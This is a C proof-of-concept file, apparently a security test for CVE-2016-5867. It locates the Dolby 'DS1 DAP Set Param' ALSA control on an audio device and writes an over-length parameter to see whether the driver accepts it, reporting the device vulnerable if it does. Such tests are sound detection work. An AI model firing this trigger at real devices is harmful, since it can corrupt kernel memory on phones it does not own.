| /* |
| * CVE-2016-5867 |
| */ |
| |
| #include "../includes/common.h" |
| #include <fcntl.h> |
| #include <sound/asound.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <sys/ioctl.h> |
| #include <unistd.h> |
| |
| #define DOLBY_SET_PARAM "DS1 DAP Set Param" |
| #define NUM_BLOCKS 16384 |
| #define DOLBY_PARAM_ID_VDHE 0x0001074D |
| #define TOTAL_LENGTH_DOLBY_PARAM 745 |
| |
| unsigned int get_doblycontrolid(int fd) { |
| unsigned int i; |
| int ret = -1; |
| unsigned int id = 0; |
| struct snd_ctl_elem_list lst; |
| memset(&lst, 0, sizeof(lst)); |
| lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list)); |
| lst.space = NUM_BLOCKS; |
| ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst); |
| if (ret < 0) { |
| return 0; |
| } |
| for (i = 0; i < lst.count; i++) { |
| if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM, |
| (sizeof(DOLBY_SET_PARAM) - 1))) { |
| id = lst.pids[i].numid; |
| break; |
| } |
| } |
| free(lst.pids); |
| return id; |
| } |
| |
| int main(){ |
| int fd = -1; |
| struct snd_ctl_elem_value control; |
| int ret; |
| fd = open("/dev/snd/controlC0", O_RDWR); |
| if(fd < 0) { |
| return EXIT_FAILURE; |
| } |
| memset(&control, 0, sizeof(control)); |
| control.id.numid = get_doblycontrolid(fd); |
| if(control.id.numid) { |
| control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE; |
| control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1; |
| ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control); |
| if(ret == 0) { |
| close(fd); |
| return EXIT_VULNERABLE; |
| } |
| } |
| close(fd); |
| return EXIT_SUCCESS; |
| } |